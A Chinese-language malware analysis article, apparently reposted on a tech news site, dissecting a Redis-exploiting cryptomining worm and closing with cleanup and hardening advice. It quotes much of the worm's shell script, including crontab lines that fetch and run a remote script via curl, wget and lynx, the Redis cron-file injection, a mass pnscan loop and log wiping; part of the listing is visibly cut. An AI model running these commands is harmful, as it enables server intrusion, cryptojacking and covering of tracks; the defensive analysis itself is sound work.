返回顶部
首页 > 资讯 > 操作系统 >Linux Redis自动化挖矿感染蠕虫实例分析
  • 918
分享到

Linux Redis自动化挖矿感染蠕虫实例分析

2023-06-04 19:06:54 918人浏览 独家记忆
摘要

本文小编为大家详细介绍“linux Redis自动化挖矿感染蠕虫实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux Redis自动化挖矿感染蠕虫实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧

本文小编为大家详细介绍“linux Redis自动化挖矿感染蠕虫实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux Redis自动化挖矿感染蠕虫实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

  一、 背景

  自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿、扫描等的黑客行为一直层出不穷;而在众多利用该问题入侵服务器进行黑产行为的案例中,其中就存在一类利用该问题进行挖矿并且会利用pnscan自动扫描感染其他机器;该类攻击一直存在,不过在近期又呈现数量增加的趋势,在最近捕获到多次,我们针对其做下具体的分析。

  二、 漏洞说明

  首先针对利用的漏洞做个说明,Redis 默认情况下,会绑定在 0.0.0.0:6379,在没有利用防火墙进行屏蔽的情况下,将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 ~/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器;如果Redis服务是以root权限启动,可以利用该问题直接获得服务器root权限。

  经过在ZoomEye和SHODAN检索,可以发现分别众多Redis服务开放在公网上,这些服务都可能成为攻击目标。

Linux Redis自动化挖矿感染蠕虫实例分析

Linux Redis自动化挖矿感染蠕虫实例分析

  三、 入侵分析

Linux Redis自动化挖矿感染蠕虫实例分析

  经过对捕获的事件进行分析,我们发现整个入侵流程大概是包含以下几个环节:1、扫描开放6379端口的Linux服务器(后续感染扫描网段为1.0.0.0/16到224.255.0.0/16)

  2、通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root,然后通过在Redis中插入数据,将下载执行脚本的动作写入crontab任务

  3、通过脚本实现以上的相关行为,完成植入并启动挖矿程序

  4、再编译安装pnscan,继续扫描感染下一个目标

  四、 脚本分析

  整个入侵利用以及后续的感染的实现,最主要的功能都是基于通过Redis问题写入crontab任务中下载执行的NaNd脚本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)来实现的,通过对它的分析,我们基本能够得到整个流程的所有细节,这是一个base脚本,我们通过解读来分析下它的相关功能。

  1. sleep 1

  2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete

  3. [ -f .mxff0 ] && exit 0

  4. echo 0 > .mxff0

  这部分代码只要是用作重复执行的判断,将.mxff0文件作为标记文件,如果存在该文件则代表机器上已执行脚本,直接退出,否则写.mxff0文件并进行下一步动作;

  5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

  设置预置动作,在脚本退出后删除相关文件和脚本自身;

  6. setenforce 0 2>/dev/null

  7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

  8. crontab -r 2>/dev/null

  9. rm -rf /var/spool/cron 2>/dev/null

  10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

  11. rm -rf /tmp2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

  91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  92. echo ‘save’ >> .dat

  93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

  94. echo ‘save’ >> .dat

  95. echo ‘exit’ >> .dat

  而这部分内容主要是生成新的.dat文件,包含将原来NaNd脚本里的里挖矿程序的下载地址替换为上一步上传到Https://transfer.sh/ 得到的新地址,还有Redis利用的相关语句;

  96. pnx=pnscan

  97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

  98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

  99. for x in $( seq 1 224 | sort -R ); do

  100. for y in $( seq 0 255 | sort -R ); do

  101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o

  102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

  103. while read -r h p; do

  104. cat .dat | redis-cli -h $h -p $p –raw &

  105. done < .r.$x.$y.l

  106. done

  107. done

  而步主要是调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标,然后利用redis-cli执行.dat中的命令,进行下个目标的感染;这里pnscan的-W参数值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’转换后内容‘*1rn$4rnINFOrn’,是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值,再通过-R参数值‘6f 73 3a 4c 69 6e 75 78′(转换后内容为os:Linux)判断是否Linux系统。

  108. echo 0 > /var/spool/mail/root 2>/dev/null

  109. echo 0 > /var/log/wtmp 2>/dev/null

  110. echo 0 > /var/log/secure 2>/dev/null

  111. echo 0 > /root/.bash_history 2>/dev/null

  112. exit 0

  最后就是收尾工作,清除相关日志和命令执行历史,同时在脚本退出的时候会触发脚本一开始用trap预置的动作,会做删除操作,删除相关文件和脚本自身(rm -rf m* NaNd tmp.* .r .dat $0)。

  通过对脚本的解读,我们基本已经清楚整个蠕虫的行为和入侵流程,也就是我们开始所描述的流程。

  另外,通过阅读脚本,我们发现虽然整个入侵流程并不是多复杂,但脚本其实有很多”工程化”的细节考虑,不得不让人惊叹入侵者的”考虑周到”:

  1、 利用.mxff0文件做重复执行检验,避免脚本的重复执行

  2、 为了增加成功性,一些环境的预处理:

  a) 关闭SELINUX

  b) 增加8.8.8.8的DNS

  c) 清空tmp目录

  d) 清空系统缓存

  e) 修改系统资源限制

  3、 痕迹清除

  a) 利用trap预置动作好在脚本执行完成后删除相关文件和脚本自身

  b) 重复清除相关登录等日志和命令执行历史

  4、 同行预防

  a) 利用iptables避免Redis服务开放在公网上从而导致再次被入侵

  b) 清除同行可能遗留的入侵行为,kill相关进程

  5、 系统兼容性

  a) 判断操作系统,针对性的执行相关命令,安装依赖包,最大限度的提高pnscan编译安装的成功率

  b) 关闭SELINUX,通过setenforce和修改/etc/sysconfig/selinux两种手段实现

  c) 写入Crontab里的下载并执行脚本的任务,通过curl、wget、lynx三种方式实现

  d) Pnscan扫描增加操作系统判断,减少没有必要的感染尝试

  6、 特征去除,存活延续

  a) Pnscan采用安装编译的方式,既提高在不同系统下的兼容性,也避免形成固定的MD5特征

  b) 利用https://transfer.sh 中转,每一次感染均生成新的连接,避免固定链接形成固定特征

  c) 下载到系统的相关文件均采用随机生成的文件名

  正是由于入侵者种种的”考虑周到”使得他的入侵感染的成功率能够达到的一定的层度。

  五、 安全建议

  病毒清理和系统恢复

  我们主要参考脚本的相关行为进行对应的行为恢复和删除即可:

  1、 关闭SELINUX,根据系统原环境和业务需要重新开启SELINUX

  2、 清空了/var/spool/cron,根据原先备份清空恢复

  3、 修改/etc/resolv.conf增加DNS服务8.8.8.8,如无影响可不处理,或者删除

  4、 修改了系统资源限制(/etc/security/limits.conf),可根据备份情况恢复

  5、 增加了对6379端口的Iptables规则,如果不影响业务,建议保留

  6、 Kill了相关进程,检查是否包含业务所需进程,根据情况恢复

  7、 安装了相关包,具体列表见上文,可根据情况删除或者如无影响可保留

  8、 编译安装了pnscan,可删除/usr/local/bin/pnscan

  9、 清除了相关日志和tmp目录,对系统无影响,可忽略

  10、 启动了挖矿进程和pnscan扫描感染,进程:.gpg、pnscan,直接kill

  还包含了一些中间文件,虽然脚本包含相关删除操作,但建议还是全局查找确认:.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

  Redis服务加固

  1、 如无必要,修改bind项,不要将Redis绑定在0.0.0.0上,避免Redis服务开放在外网,可以通过iptables或者腾讯云用户可以通过安全组限制访问来源

  2、 在不影响业务的情况,不要以root启动Redis服务,同时建议修改默认的6379端口,大部分针对Redis未授权问题的入侵都是针对默认端口进行的

  3、 配置AUTH,增加密码校验,这样即使开放在公网上,如果非弱口令的情况,黑客也无法访问Redis服务进行相关操作

  4、 使用rename-command CONFIG “RENAME_CONFIG”重命名相关命令,这样黑客即使在连接上未授权问题的Redis服务,在不知道命令的情况下只能获取相关数据,而无法进一步利用

读到这里,这篇“Linux Redis自动化挖矿感染蠕虫实例分析”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注编程网操作系统频道。

--结束END--

本文标题: Linux Redis自动化挖矿感染蠕虫实例分析

本文链接: https://lsjlt.com/news/239289.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作